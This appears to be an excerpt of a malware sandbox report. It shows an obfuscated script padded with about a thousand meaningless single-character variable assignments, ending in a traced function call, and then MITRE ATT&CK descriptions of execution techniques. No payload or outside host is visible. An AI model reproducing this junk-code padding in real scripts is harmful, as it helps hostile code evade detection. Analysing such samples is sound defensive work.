405	fypkjhws = "T";
406	fypkjhws = "g";
407	fypkjhws = "n";
408	qbwap = "H";
409	qbwap = "n";
410	qbwap = "l";
411	qbwap = "d";
412	qbwap = "Z";
413	qbwap = "U";
414	qbwap = "v";
415	qbwap = "i";
416	qbwap = "K";
417	qbwap = "d";
418	qbwap = "W";
419	qbwap = "c";
420	tzlccvi = "Q";
421	tzlccvi = "A";
422	tzlccvi = "X";
423	tzlccvi = "u";
424	tzlccvi = "U";
425	tzlccvi = "L";
426	tzlccvi = "L";
427	tzlccvi = "N";
428	tzlccvi = "N";
429	tzlccvi = "u";
430	tzlccvi = "e";
431	tzlccvi = "V";
432	tzlccvi = "w";
433	tzlccvi = "Z";
434	tzlccvi = "b";
435	tzlccvi = "I";
436	tzlccvi = "E";
437	tzlccvi = "i";
438	tzlccvi = "i";
439	tzlccvi = "H";
440	tzlccvi = "S";
441	tzlccvi = "M";
442	tzlccvi = "H";
443	tzlccvi = "l";
444	tzlccvi = "q";
445	tzlccvi = "z";
446	tzlccvi = "L";
447	bnuxto = "A";
448	bnuxto = "c";
449	bnuxto = "R";
450	bnuxto = "G";
451	bnuxto = "B";
452	bnuxto = "r";
453	bnuxto = "U";
454	bnuxto = "B";
455	bnuxto = "X";
456	bnuxto = "x";
457	bnuxto = "m";
458	iwikhvax = "B";
459	iwikhvax = "v";
460	iwikhvax = "q";
461	iwikhvax = "b";
462	iwikhvax = "U";
463	iwikhvax = "B";
464	iwikhvax = "o";
465	iwikhvax = "G";
466	iwikhvax = "Y";
467	iwikhvax = "m";
468	iwikhvax = "i";
469	iwikhvax = "T";
470	iwikhvax = "C";
471	iwikhvax = "X";
472	iwikhvax = "w";
473	iwikhvax = "k";
474	iwikhvax = "E";
475	iwikhvax = "t";
476	iwikhvax = "K";
477	iwikhvax = "e";
478	iwikhvax = "P";
479	iwikhvax = "S";
480	amtoqn = "G";
481	amtoqn = "v";
482	amtoqn = "N";
483	amtoqn = "g";
484	amtoqn = "g";
485	amtoqn = "t";
486	amtoqn = "o";
487	amtoqn = "M";
488	amtoqn = "h";
489	bjjtayty = "n";
490	bjjtayty = "F";
491	bjjtayty = "t";
492	bjjtayty = "F";
493	bjjtayty = "u";
494	bjjtayty = "N";
495	bjjtayty = "r";
496	bjjtayty = "A";
497	bjjtayty = "I";
498	bjjtayty = "r";
499	bjjtayty = "T";
500	bjjtayty = "N";
501	bjjtayty = "a";
502	bjjtayty = "a";
503	bjjtayty = "i";
504	bjjtayty = "u";
505	bjjtayty = "t";
506	bjjtayty = "S";
507	bjjtayty = "T";
508	bjjtayty = "C";
509	bjjtayty = "R";
510	bjjtayty = "X";
511	bjjtayty = "T";
512	bjjtayty = "U";
513	bjjtayty = "h";
514	bjjtayty = "D";
515	bjjtayty = "&";
516	kcpefx = "p";
517	kcpefx = "y";
518	kcpefx = "d";
519	kcpefx = "U";
520	kcpefx = "Z";
521	kcpefx = "q";
522	kcpefx = "C";
523	kcpefx = "r";
524	kcpefx = "U";
525	kcpefx = "A";
526	kcpefx = "L";
527	kcpefx = "Q";
528	kcpefx = "h";
529	kcpefx = "J";
530	kcpefx = "Q";
531	kcpefx = "l";
532	kcpefx = "q";
533	hdorvolgp = "H";
534	hdorvolgp = "T";
535	hdorvolgp = "k";
536	hdorvolgp = "g";
537	hdorvolgp = "D";
538	hdorvolgp = "l";
539	hdorvolgp = "D";
540	hdorvolgp = "A";
541	hdorvolgp = "S";
542	hdorvolgp = "C";
543	hdorvolgp = "f";
544	hdorvolgp = "g";
545	hdorvolgp = "O";
546	hdorvolgp = "p";
547	hdorvolgp = "Q";
548	hdorvolgp = "f";
549	hdorvolgp = "D";
550	hdorvolgp = "J";
551	hdorvolgp = "O";
552	hdorvolgp = "N";
553	hdorvolgp = "I";
554	hdorvolgp = "f";
555	hdorvolgp = "m";
556	hdorvolgp = "r";
557	hdorvolgp = "F";
558	hdorvolgp = "N";
559	hdorvolgp = "I";
560	hdorvolgp = "P";
561	hdorvolgp = "u";
562	hdorvolgp = "s";
563	hdorvolgp = "m";
564	hdorvolgp = "\"";
565	ybwufkqh = "U";
566	ybwufkqh = "S";
567	ybwufkqh = "L";
568	ybwufkqh = "a";
569	ybwufkqh = "S";
570	ybwufkqh = "H";
571	ybwufkqh = "d";
572	ybwufkqh = "L";
573	ybwufkqh = "O";
574	ybwufkqh = "E";
575	ybwufkqh = "g";
576	ybwufkqh = "w";
577	ybwufkqh = "Z";
578	ybwufkqh = "C";
579	ybwufkqh = "v";
580	ybwufkqh = "E";
581	ybwufkqh = "S";
582	ybwufkqh = "r";
583	ybwufkqh = "N";
584	ybwufkqh = "X";
585	ybwufkqh = "W";
586	ybwufkqh = "c";
587	ybwufkqh = "\\";
588	mzefms = "t";
589	mzefms = "p";
590	mzefms = "O";
591	mzefms = "i";
592	mzefms = "W";
593	mzefms = "C";
594	mzefms = "U";
595	mzefms = "s";
596	mzefms = "u";
597	mzefms = "P";
598	mzefms = "K";
599	mzefms = "t";
600	mzefms = "Y";
601	mzefms = "S";
602	mzefms = "I";
603	mzefms = "x";
604	mzefms = "N";
605	yblekrti = "r";
606	yblekrti = "O";
607	yblekrti = "5";
608	edphq = "d";
609	edphq = "p";
610	edphq = "p";
611	edphq = "N";
612	edphq = "n";
613	edphq = "/";
614	zuxpbf = "b";
615	zuxpbf = "K";
616	zuxpbf = "u";
617	zuxpbf = "i";
618	zuxpbf = "X";
619	zuxpbf = "Q";
620	zuxpbf = "W";
621	zuxpbf = "H";
622	zuxpbf = "v";
623	aaotqf = "O";
624	aaotqf = "P";
625	aaotqf = "J";
626	aaotqf = "v";
627	aaotqf = "e";
628	aaotqf = "G";
629	aaotqf = "M";
630	aaotqf = "Q";
631	aaotqf = "K";
632	aaotqf = "Q";
633	aaotqf = "X";
634	aaotqf = "r";
635	aaotqf = "N";
636	aaotqf = "q";
637	aaotqf = "u";
638	aaotqf = "c";
639	aaotqf = "D";
640	aaotqf = "Q";
641	aaotqf = "i";
642	aaotqf = "K";
643	aaotqf = "U";
644	aaotqf = "M";
645	aaotqf = "M";
646	aaotqf = "P";
647	aaotqf = "h";
648	aaotqf = "u";
649	aaotqf = "H";
650	aaotqf = "J";
651	aaotqf = "b";
652	aaotqf = "y";
653	aaotqf = "o";
654	aaotqf = "b";
655	aaotqf = "t";
656	aaotqf = "X";
657	aaotqf = "p";
658	aaotqf = "S";
659	aaotqf = "S";
660	aaotqf = "F";
661	aaotqf = "N";
662	aaotqf = "W";
663	aaotqf = "%";
664	mrrcibngy = "X";
665	mrrcibngy = "A";
666	mrrcibngy = "K";
667	mrrcibngy = "c";
668	mrrcibngy = "a";
669	mrrcibngy = "X";
670	mrrcibngy = "Y";
671	mrrcibngy = "J";
672	mrrcibngy = "V";
673	mrrcibngy = "F";
674	mrrcibngy = "z";
675	mrrcibngy = "Q";
676	mrrcibngy = "U";
677	mrrcibngy = "R";
678	mrrcibngy = "o";
679	mrrcibngy = "U";
680	mrrcibngy = "a";
681	mrrcibngy = "Q";
682	mrrcibngy = "h";
683	mrrcibngy = "w";
684	mrrcibngy = "t";
685	mrrcibngy = "n";
686	mrrcibngy = "D";
687	mrrcibngy = "u";
688	mrrcibngy = "q";
689	mrrcibngy = "d";
690	mrrcibngy = "A";
691	mrrcibngy = "N";
692	mrrcibngy = "w";
693	mrrcibngy = "Y";
694	mrrcibngy = "e";
695	mrrcibngy = "@";
696	bmtjlsk = "n";
697	bmtjlsk = "j";
698	bmtjlsk = "v";
699	bmtjlsk = "o";
700	bmtjlsk = "g";
701	bmtjlsk = "I";
702	bmtjlsk = "M";
703	bmtjlsk = "w";
704	bmtjlsk = "u";
705	bmtjlsk = "w";
706	bmtjlsk = "X";
707	bmtjlsk = "J";
708	bmtjlsk = "e";
709	bmtjlsk = "B";
710	bmtjlsk = "a";
711	bmtjlsk = "u";
712	bmtjlsk = "q";
713	bmtjlsk = ":";
714	etkglyqim = "I";
715	etkglyqim = "s";
716	luvzgp = "M";
717	luvzgp = "N";
718	luvzgp = "N";
719	luvzgp = "q";
720	luvzgp = "z";
721	luvzgp = "l";
722	luvzgp = "h";
723	luvzgp = "W";
724	luvzgp = "m";
725	luvzgp = "d";
726	luvzgp = "n";
727	luvzgp = "D";
728	luvzgp = "F";
729	luvzgp = "g";
730	luvzgp = "z";
731	luvzgp = "B";
732	luvzgp = "m";
733	luvzgp = "Z";
734	luvzgp = "L";
735	luvzgp = "Y";
736	luvzgp = "f";
737	luvzgp = "D";
738	luvzgp = "E";
739	luvzgp = "x";
740	luvzgp = "o";
741	luvzgp = "V";
742	luvzgp = "P";
743	luvzgp = "o";
744	luvzgp = "a";
745	luvzgp = "B";
746	luvzgp = "y";
747	luvzgp = "R";
748	luvzgp = "U";
749	luvzgp = "H";
750	luvzgp = "x";
751	luvzgp = "j";
752	luvzgp = "K";
753	luvzgp = "y";
754	luvzgp = "X";
755	luvzgp = "w";
756	luvzgp = "b";
757	luvzgp = "v";
758	luvzgp = "V";
759	luvzgp = "s";
760	luvzgp = "p";
761	eoxddnk = "r";
762	eoxddnk = "F";
763	eoxddnk = "U";
764	eoxddnk = "m";
765	eoxddnk = "t";
766	eoxddnk = "e";
767	eoxddnk = "n";
768	eoxddnk = "x";
769	eoxddnk = "T";
770	eoxddnk = "X";
771	eoxddnk = "O";
772	eoxddnk = "d";
773	kugljj = "c";
774	kugljj = "q";
775	kugljj = "b";
776	kugljj = "K";
777	kugljj = "I";
778	kugljj = "M";
779	kugljj = "i";
780	kugljj = "z";
781	kugljj = "e";
782	kugljj = "d";
783	kugljj = "t";
784	kugljj = "q";
785	kugljj = "b";
786	kugljj = "M";
787	kugljj = "A";
788	kugljj = "x";
789	kugljj = "X";
790	kugljj = "p";
791	kugljj = "j";
792	kugljj = "x";
793	kugljj = "P";
794	kugljj = "Y";
795	kugljj = "N";
796	kugljj = "M";
797	kugljj = "z";
798	kugljj = "O";
799	kugljj = "a";
800	kugljj = "W";
801	kugljj = "f";
802	kugljj = "w";
803	kugljj = "x";
804	kugljj = "_";
805	gcfolt = "W";
806	gcfolt = "P";
807	gcfolt = "t";
808	gcfolt = "s";
809	gcfolt = "g";
810	gcfolt = "f";
811	gcfolt = "b";
812	gcfolt = "x";
813	gcfolt = "e";
814	gcfolt = "A";
815	gcfolt = "W";
816	gcfolt = "Z";
817	gcfolt = "v";
818	gcfolt = "C";
819	ocycavp = "B";
820	ocycavp = "D";
821	ocycavp = "y";
822	ocycavp = "z";
823	ocycavp = "Z";
824	ocycavp = "N";
825	ocycavp = "L";
826	ocycavp = "Q";
827	ocycavp = "c";
828	ocycavp = "O";
829	ocycavp = "p";
830	ocycavp = "s";
831	ocycavp = "U";
832	ocycavp = "x";
833	ocycavp = "C";
834	ocycavp = "t";
835	ocycavp = "e";
836	ocycavp = "V";
837	ocycavp = "r";
838	ocycavp = "G";
839	ocycavp = "G";
840	ocycavp = "r";
841	ocycavp = "b";
842	ocycavp = "g";
843	ocycavp = "s";
844	ocycavp = "M";
845	ocycavp = "s";
846	ocycavp = "D";
847	ocycavp = "E";
848	ocycavp = "X";
849	ocycavp = "O";
850	ocycavp = "B";
851	ocycavp = "R";
852	ocycavp = "s";
853	ocycavp = "q";
854	ocycavp = "m";
855	ocycavp = "T";
856	duhmwjoo = "h";
857	duhmwjoo = "s";
858	duhmwjoo = "u";
859	duhmwjoo = "e";
860	duhmwjoo = "p";
861	duhmwjoo = "B";
862	duhmwjoo = "K";
863	duhmwjoo = "l";
864	duhmwjoo = "b";
865	duhmwjoo = "E";
866	duhmwjoo = "z";
867	duhmwjoo = "c";
868	duhmwjoo = "y";
869	duhmwjoo = "W";
870	duhmwjoo = "L";
871	duhmwjoo = "g";
872	duhmwjoo = "o";
873	duhmwjoo = "O";
874	duhmwjoo = "h";
875	duhmwjoo = "k";
876	duhmwjoo = "U";
877	duhmwjoo = "f";
878	duhmwjoo = "L";
879	duhmwjoo = "G";
880	duhmwjoo = "K";
881	duhmwjoo = "G";
882	duhmwjoo = "f";
883	duhmwjoo = "O";
884	duhmwjoo = "V";
885	duhmwjoo = "n";
886	duhmwjoo = "B";
887	duhmwjoo = ".";
888	kjrjetmri = "B";
889	kjrjetmri = "P";
890	kjrjetmri = "I";
891	kjrjetmri = "W";
892	kjrjetmri = "M";
893	kjrjetmri = "D";
894	kjrjetmri = "R";
895	kjrjetmri = "B";
896	kjrjetmri = "Q";
897	kjrjetmri = "F";
898	kjrjetmri = "G";
899	kjrjetmri = "x";
900	kjrjetmri = "W";
901	kjrjetmri = "d";
902	kjrjetmri = "A";
903	kjrjetmri = "n";
904	kjrjetmri = "I";
905	kjrjetmri = "B";
906	kjrjetmri = "m";
907	kjrjetmri = "w";
908	kjrjetmri = "K";
909	kjrjetmri = "l";
910	kjrjetmri = "Q";
911	kjrjetmri = "J";
912	kjrjetmri = "D";
913	kjrjetmri = "M";
914	kjrjetmri = "C";
915	kjrjetmri = "C";
916	kjrjetmri = "S";
917	kjrjetmri = "E";
918	gpbpyrwqr = "R";
919	gpbpyrwqr = "a";
920	gpbpyrwqr = "j";
921	gpbpyrwqr = "q";
922	gpbpyrwqr = "g";
923	gpbpyrwqr = "S";
924	gpbpyrwqr = "A";
925	gpbpyrwqr = "v";
926	gpbpyrwqr = "Z";
927	gpbpyrwqr = "R";
928	gpbpyrwqr = "x";
929	gpbpyrwqr = "y";
930	gpbpyrwqr = "t";
931	gpbpyrwqr = "P";
932	gpbpyrwqr = "H";
933	gpbpyrwqr = "s";
934	gpbpyrwqr = "n";
935	gpbpyrwqr = "P";
936	gpbpyrwqr = "I";
937	gpbpyrwqr = "Y";
938	gpbpyrwqr = "c";
939	gpbpyrwqr = "o";
940	gpbpyrwqr = "R";
941	gpbpyrwqr = "P";
942	gpbpyrwqr = "L";
943	gpbpyrwqr = "h";
944	gpbpyrwqr = "T";
945	gpbpyrwqr = "q";
946	gpbpyrwqr = "R";
947	gpbpyrwqr = "O";
948	dspjkge = "P";
949	dspjkge = "Q";
950	dspjkge = "Y";
951	dspjkge = "R";
952	dspjkge = "w";
953	dspjkge = "w";
954	dspjkge = "U";
955	dspjkge = "o";
956	dspjkge = "k";
957	dspjkge = "a";
958	dspjkge = "l";
959	dspjkge = "z";
960	dspjkge = "T";
961	dspjkge = "s";
962	dspjkge = "J";
963	dspjkge = "M";
964	dspjkge = "O";
965	dspjkge = "R";
966	dspjkge = "j";
967	dspjkge = "Z";
968	dspjkge = "z";
969	dspjkge = "Z";
970	dspjkge = "I";
971	dspjkge = "a";
972	dspjkge = "C";
973	dspjkge = "Y";
974	dspjkge = "x";
975	dspjkge = "j";
976	dspjkge = "M";
977	dspjkge = "q";
978	dspjkge = "q";
979	dspjkge = "e";
980	dspjkge = "K";
981	dspjkge = "u";
982	dspjkge = "T";
983	dspjkge = "c";
984	dspjkge = "l";
985	dspjkge = "D";
986	dspjkge = "a";
987	dspjkge = "x";
988	dspjkge = "A";
989	dspjkge = "V";
990	dspjkge = "9";
991	bhtwy = "N";
992	bhtwy = "A";
993	bhtwy = "N";
994	bhtwy = "o";
995	bhtwy = "N";
996	bhtwy = "f";
997	bhtwy = "K";
998	bhtwy = "M";
999	bhtwy = "a";
1000	bhtwy = "W";
1001	bhtwy = "J";
1002	bhtwy = "Z";
1003	bhtwy = "k";
1004	bhtwy = "O";
1005	bhtwy = "Q";
1006	bhtwy = "r";
1007	bhtwy = "Y";
1008	bhtwy = "F";
1009	bhtwy = "B";
1010	bhtwy = "d";
1011	bhtwy = "H";
1012	bhtwy = "i";
1013	bhtwy = "S";
1014	bhtwy = "Y";
1015	bhtwy = "H";
1016	bhtwy = "w";
1017	bhtwy = "P";
1018	bhtwy = "t";
1019	oyxka = "n";
1020	oyxka = "k";
1021	oyxka = "L";
1022	oyxka = "n";
1023	oyxka = "f";
1024	oyxka = "K";
1025	oyxka = "t";
1026	oyxka = "X";
1027	oyxka = "Z";
1028	oyxka = "t";
1029	oyxka = "j";
1030	oyxka = "l";
1031	oyxka = "Z";
1032	oyxka = "Z";
1033	oyxka = "F";
1034	oyxka = "X";
1035	oyxka = "L";
1036	oyxka = "Z";
1037	oyxka = "U";
1038	oyxka = "g";
1039	oyxka = "L";
1040	oyxka = "1";
1041	fkhjfr = "K";
1042	fkhjfr = "L";
1043	fkhjfr = "S";
1044	fkhjfr = "l";
1045	fkhjfr = "f";
1046	fkhjfr = "z";
1047	fkhjfr = "X";
1048	fkhjfr = "T";
1049	fkhjfr = "b";
1050	fkhjfr = "p";
1051	fkhjfr = "n";
1052	fkhjfr = "t";
1053	fkhjfr = "V";
1054	fkhjfr = "X";
1055	fkhjfr = "Z";
1056	fkhjfr = "S";
1057	fkhjfr = "f";
1058	fkhjfr = "d";
1059	fkhjfr = "O";
1060	fkhjfr = "E";
1061	fkhjfr = "T";
1062	fkhjfr = "C";
1063	fkhjfr = "p";
1064	fkhjfr = "e";
1065	fkhjfr = "t";
1066	fkhjfr = "N";
1067	fkhjfr = "K";
1068	fkhjfr = "k";
1069	fkhjfr = "k";
1070	fkhjfr = "U";
1071	fkhjfr = "r";
1072	fkhjfr = "V";
1073	fkhjfr = "N";
1074	fkhjfr = "g";
1075	fkhjfr = "D";
1076	fkhjfr = "T";
1077	fkhjfr = "K";
1078	fkhjfr = "U";
1079	fkhjfr = "z";
1080	fkhjfr = "v";
1081	fkhjfr = "u";
1082	fkhjfr = "Q";
1083	fkhjfr = "B";
1084	fkhjfr = "j";
1085	kjlwsufa = "D";
1086	kjlwsufa = "M";
1087	kjlwsufa = "Q";
1088	kjlwsufa = "b";
1089	kjlwsufa = "X";
1090	kjlwsufa = "k";
1091	kjlwsufa = "Q";
1092	kjlwsufa = "t";
1093	kjlwsufa = "Q";
1094	kjlwsufa = "O";
1095	kjlwsufa = "p";
1096	kjlwsufa = "u";
1097	kjlwsufa = "C";
1098	kjlwsufa = "S";
1099	kjlwsufa = "M";
1100	kjlwsufa = "q";
1101	kjlwsufa = "N";
1102	kjlwsufa = "D";
1103	kjlwsufa = "R";
1104	cvgwzs = "r";
1105	cvgwzs = "f";
1106	cvgwzs = "h";
1107	cvgwzs = "I";
1108	hthiffz = "g";
1109	hthiffz = "c";
1110	hthiffz = "h";
1111	hthiffz = "N";
1112	hthiffz = "q";
1113	hthiffz = "A";
1114	hthiffz = "y";
1115	hthiffz = "G";
1116	hthiffz = "c";
1117	hthiffz = "B";
1118	hthiffz = "Z";
1119	hthiffz = "c";
1120	hthiffz = "J";
1121	hthiffz = "S";
1122	hthiffz = "U";
1123	hthiffz = "z";
1124	hthiffz = "e";
1125	hthiffz = "b";
1126	hthiffz = "Z";
1127	hthiffz = "h";
1128	hthiffz = "h";
1129	hthiffz = "c";
1130	hthiffz = "C";
1131	hthiffz = "u";
1132	hthiffz = "z";
1133	hthiffz = "E";
1134	hthiffz = "K";
1135	hthiffz = "T";
1136	hthiffz = "p";
1137	hthiffz = "h";
1138	hthiffz = "8";
1139	ojxuhtb = "L";
1140	ojxuhtb = "j";
1141	ojxuhtb = "O";
1142	ojxuhtb = "a";
1143	azkghx = "u";
1144	azkghx = "V";
1145	azkghx = "y";
1146	azkghx = "z";
1147	azkghx = "q";
1148	azkghx = "W";
1149	azkghx = "B";
1150	azkghx = "u";
1151	azkghx = "E";
1152	azkghx = "r";
1153	azkghx = "v";
1154	azkghx = "g";
1155	azkghx = "h";
1156	azkghx = "m";
1157	azkghx = "x";
1158	azkghx = "s";
1159	azkghx = "j";
1160	azkghx = "R";
1161	azkghx = "N";
1162	azkghx = "U";
1163	azkghx = "v";
1164	azkghx = "v";
1165	azkghx = "l";
1166	azkghx = "f";
1167	azkghx = "B";
1168	azkghx = "J";
1169	azkghx = "A";
1170	azkghx = "j";
1171	azkghx = "U";
1172	azkghx = "v";
1173	azkghx = "s";
1174	azkghx = "v";
1175	azkghx = "j";
1176	azkghx = "B";
1177	azkghx = "V";
1178	azkghx = "m";
1179	azkghx = "X";
1180	azkghx = "y";
1181	azkghx = "s";
1182	azkghx = "K";
1183	azkghx = "W";
1184	azkghx = "F";
1185	azkghx = "c";
1186	azkghx = "R";
1187	azkghx = "Q";
1188	aeirjo = "D";
1189	aeirjo = "f";
1190	aeirjo = "F";
1191	aeirjo = "i";
1192	aeirjo = "W";
1193	aeirjo = "x";
1194	aeirjo = "u";
1195	aeirjo = "E";
1196	aeirjo = "u";
1197	aeirjo = "K";
1198	aeirjo = "P";
1199	aeirjo = "Y";
1200	aeirjo = "b";
1201	aeirjo = "r";
1202	aeirjo = "F";
1203	aeirjo = "N";
1204	aeirjo = "Q";
1205	aeirjo = "j";
1206	aeirjo = "W";
1207	aeirjo = "L";
1208	aeirjo = "j";
1209	aeirjo = "h";
1210	aeirjo = "g";
1211	aeirjo = "P";
1212	aeirjo = "A";
1213	aeirjo = "o";
1214	aeirjo = "j";
1215	aeirjo = "p";
1216	aeirjo = "i";
1217	aeirjo = "D";
1218	aeirjo = "y";
1219	aeirjo = "z";
1220	aeirjo = "J";
1221	aeirjo = "d";
1222	aeirjo = "F";
1223	aeirjo = "t";
1224	aeirjo = "T";
1225	aeirjo = "l";
1226	aeirjo = "7";
1227	rmxejknkq = "G";
1228	rmxejknkq = "Y";
1229	rmxejknkq = "D";
1230	rmxejknkq = "C";
1231	rmxejknkq = "U";
1232	rmxejknkq = "N";
1233	rmxejknkq = "v";
1234	rmxejknkq = "J";
1235	rmxejknkq = "J";
1236	rmxejknkq = "w";
1237	uxylmqoy = "x";
1238	uxylmqoy = "p";
1239	uxylmqoy = "z";
1240	uxylmqoy = "t";
1241	uxylmqoy = "E";
1242	uxylmqoy = "J";
1243	uxylmqoy = "a";
1244	uxylmqoy = "4";
1245	obyqcnn = "Y";
1246	obyqcnn = "s";
1247	obyqcnn = "o";
1248	obyqcnn = "k";
1249	obyqcnn = "e";
1250	obyqcnn = "x";
1251	obyqcnn = "J";
1252	obyqcnn = "s";
1253	obyqcnn = "g";
1254	obyqcnn = "C";
1255	obyqcnn = "K";
1256	obyqcnn = "W";
1257	obyqcnn = "Y";
1258	obyqcnn = "m";
1259	obyqcnn = "w";
1260	obyqcnn = "F";
1261	obyqcnn = "A";
1262	obyqcnn = "L";
1263	obyqcnn = "d";
1264	obyqcnn = "D";
1265	obyqcnn = "l";
1266	obyqcnn = "e";
1267	obyqcnn = "t";
1268	obyqcnn = "M";
1269	obyqcnn = "D";
1270	obyqcnn = "D";
1271	obyqcnn = "i";
1272	obyqcnn = "W";
1273	obyqcnn = "E";
1274	obyqcnn = "x";
1275	obyqcnn = "o";
1276	obyqcnn = "W";
1277	noyfv = "B";
1278	noyfv = "x";
1279	noyfv = "B";
1280	noyfv = "L";
1281	noyfv = "q";
1282	noyfv = "U";
1283	noyfv = "3";
1284	oelwexh = "f";
1285	oelwexh = "X";
1286	oelwexh = "d";
1287	oelwexh = "s";
1288	oelwexh = "A";
1289	oelwexh = "I";
1290	oelwexh = "e";
1291	oelwexh = "O";
1292	oelwexh = "B";
1293	oelwexh = "C";
1294	oelwexh = "w";
1295	oelwexh = "m";
1296	oelwexh = "W";
1297	oelwexh = "t";
1298	oelwexh = "F";
1299	oelwexh = "E";
1300	oelwexh = "x";
1301	oelwexh = "d";
1302	oelwexh = "k";
1303	oelwexh = "O";
1304	oelwexh = "s";
1305	oelwexh = "Y";
1306	oelwexh = "b";
1307	oelwexh = "X";
1308	oelwexh = "i";
1309	gilslgi = "n";
1310	gilslgi = "o";
1311	gilslgi = "m";
1312	gilslgi = "G";
1313	gilslgi = "E";
1314	gilslgi = "D";
1315	gilslgi = "f";
1316	gilslgi = "b";
1317	gilslgi = "z";
1318	gilslgi = "m";
1319	gilslgi = "T";
1320	gilslgi = "K";
1321	gilslgi = "W";
1322	gilslgi = "E";
1323	gilslgi = "r";
1324	gilslgi = "Q";
1325	gilslgi = "W";
1326	gilslgi = "e";
1327	gilslgi = "G";
1328	gilslgi = "u";
1329	gilslgi = "x";
1330	gilslgi = "l";
1331	jjsqzs = "L";
1332	jjsqzs = "s";
1333	jjsqzs = "d";
1334	jjsqzs = "R";
1335	jjsqzs = "i";
1336	jjsqzs = "l";
1337	jjsqzs = "J";
1338	jjsqzs = "D";
1339	jjsqzs = "E";
1340	jjsqzs = "D";
1341	jjsqzs = "i";
1342	jjsqzs = "T";
1343	jjsqzs = "N";
1344	jjsqzs = "0";
1345	npcmv = "x";
1346	npcmv = "I";
1347	npcmv = "U";
1348	npcmv = "b";
1349	npcmv = "C";
1350	npcmv = "b";
1351	npcmv = "V";
1352	npcmv = "N";
1353	npcmv = "W";
1354	npcmv = "c";
1355	npcmv = "y";
1356	npcmv = "G";
1357	npcmv = "l";
1358	npcmv = "j";
1359	npcmv = "l";
1360	npcmv = "S";
1361	npcmv = "D";
1362	npcmv = "K";
1363	npcmv = "e";
1364	iezrhnef = "r";
1365	iezrhnef = "r";
1366	iezrhnef = "C";
1367	iezrhnef = "j";
1368	iezrhnef = "Y";
1369	iezrhnef = "X";
1370	iezrhnef = "q";
1371	iezrhnef = "j";
1372	iezrhnef = "E";
1373	iezrhnef = "P";
1374	iezrhnef = "T";
1375	iezrhnef = "q";
1376	iezrhnef = "A";
1377	iezrhnef = "i";
1378	iezrhnef = "t";
1379	iezrhnef = "z";
1380	iezrhnef = "N";
1381	iezrhnef = "B";
1382	iezrhnef = "r";
1383	xvlnh = "b";
1384	xvlnh = "l";
1385	xvlnh = "w";
1386	xvlnh = "D";
1387	xvlnh = "P";
1388	xvlnh = "C";
1389	xvlnh = "F";
1390	xvlnh = "W";
1391	xvlnh = "b";
1392	xvlnh = "o";
1393	xvlnh = "C";
1394	xvlnh = "m";
1395	xvlnh = "e";
1396	xvlnh = "h";
1397	xvlnh = "u";
1398	xvlnh = "G";
1399	xvlnh = "Z";
1400	xvlnh = "b";
1401	xvlnh = "i";
1402	xvlnh = "P";
1403	xvlnh = "s";
1404	xvlnh = "R";
1405	xvlnh = "S";
1406	xvlnh = "p";
1407	xvlnh = "y";
1408	xvlnh = "V";
1409	xvlnh = "K";
1410	ojalziv = "Z";
1411	ojalziv = "v";
1412	ojalziv = "k";
1413	ojalziv = "c";
1414	ojalziv = "q";
1415	ojalziv = "C";
1416	ojalziv = "N";
1417	ojalziv = "L";
1418	ojalziv = "E";
1419	ojalziv = "M";
1420	ojalziv = "f";
1421	ojalziv = "u";
1422	ojalziv = "J";
1423	ojalziv = "K";
1424	ojalziv = "D";
1425	ojalziv = "f";
1426	ojalziv = "I";
1427	ojalziv = "J";
1428	ojalziv = "p";
1429	ojalziv = "o";
1430	ojalziv = "D";
1431	ojalziv = "q";
1432	ojalziv = "H";
1433	ojalziv = "t";
1434	ojalziv = "s";
1435	ojalziv = "Q";
1436	ojalziv = "d";
1437	ojalziv = "s";
1438	ojalziv = "E";
1439	ojalziv = "E";
1440	ojalziv = "J";
1441	ojalziv = "o";
1442	ojalziv = "l";
1443	ojalziv = "B";
1444	ojalziv = "j";
1445	ojalziv = "u";
1446	ojalziv = "c";
1447	ojalziv = "h";
1448	ojalziv = "u";
1449	xhuxhc = "L";
1450	xhuxhc = "Y";
1451	xhuxhc = "A";
1452	xhuxhc = "T";
1453	xhuxhc = "A";
1454	xhuxhc = "u";
1455	xhuxhc = "L";
1456	xhuxhc = "T";
1457	xhuxhc = "f";
1458	xhuxhc = "H";
1459	xhuxhc = "n";
1460	xhuxhc = "y";
1461	xhuxhc = "e";
1462	xhuxhc = "d";
1463	xhuxhc = "O";
1464	xhuxhc = "b";
1465	xhuxhc = "r";
1466	xhuxhc = "i";
1467	xhuxhc = "t";
1468	xhuxhc = "H";
1469	xhuxhc = "m";
1470	xhuxhc = "I";
1471	xhuxhc = "x";
1472	xhuxhc = "Z";
1473	xhuxhc = "s";
1474	xhuxhc = "K";
1475	xhuxhc = "l";
1476	xhuxhc = "H";
1477	bjeotgl ( );	bjeotgl() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

